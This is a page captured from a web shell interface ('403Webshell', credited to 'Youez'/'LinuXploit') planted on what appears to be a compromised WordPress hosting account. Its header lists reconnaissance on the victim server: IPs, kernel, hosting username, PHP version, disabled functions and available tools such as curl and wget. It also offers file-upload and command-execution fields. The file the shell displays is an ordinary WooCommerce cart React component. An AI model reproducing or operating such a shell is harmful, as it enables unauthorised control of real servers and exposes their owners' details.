403Webshell
Server IP : 172.67.158.161  /  Your IP : 3.147.193.141
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/giankuin/www/wp-content/plugins/woocommerce/packages/woocommerce-blocks/assets/js/base/context/cart-checkout/cart/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/giankuin/www/wp-content/plugins/woocommerce/packages/woocommerce-blocks/assets/js/base/context/cart-checkout/cart/index.js
/**
 * Internal dependencies
 */
import { ShippingDataProvider } from '../shipping';
import { CheckoutStateProvider } from '../checkout-state';
import { PaymentMethodDataProvider } from '../payment-methods';

/**
 * Cart provider
 * This wraps the Cart and provides an api interface for the Cart to
 * children via various hooks.
 *
 * @param {Object}  props               Incoming props for the provider.
 * @param {Object}  [props.children]    The children being wrapped.
 * @param {string}  [props.redirectUrl] Initialize what the cart will
 *                                      redirect to after successful
 *                                      submit.
 */
export const CartProvider = ( { children, redirectUrl } ) => {
	return (
		<CheckoutStateProvider redirectUrl={ redirectUrl } isCart={ true }>
			<ShippingDataProvider>
				<PaymentMethodDataProvider>
					{ children }
				</PaymentMethodDataProvider>
			</ShippingDataProvider>
		</CheckoutStateProvider>
	);
};

Youez - 2016 - github.com/yon3zu
LinuXploit